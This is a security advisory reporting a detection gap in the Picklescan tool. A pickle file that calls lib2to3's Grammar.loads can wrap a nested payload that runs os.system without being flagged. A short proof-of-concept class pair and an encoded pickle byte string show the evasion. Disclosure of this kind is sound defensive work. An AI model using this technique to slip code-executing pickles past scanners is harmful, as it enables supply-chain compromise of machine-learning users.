Picklescan has a missing detection when calling built-in python lib2to3.pgen2.grammar.Grammar.loads

Summary

Using lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file.

Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

class Evil:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

class EvilLib2to3Pgen2GrammarLoads:
    def __reduce__(self):
        from lib2to3.pgen2.grammar import Grammar
        payload = pickle.dumps(Evil())
        # payload = b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
        return Grammar().loads, (payload,)

Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Corresponding

https://github.com/FredericDT https://github.com/Qhaoduoyu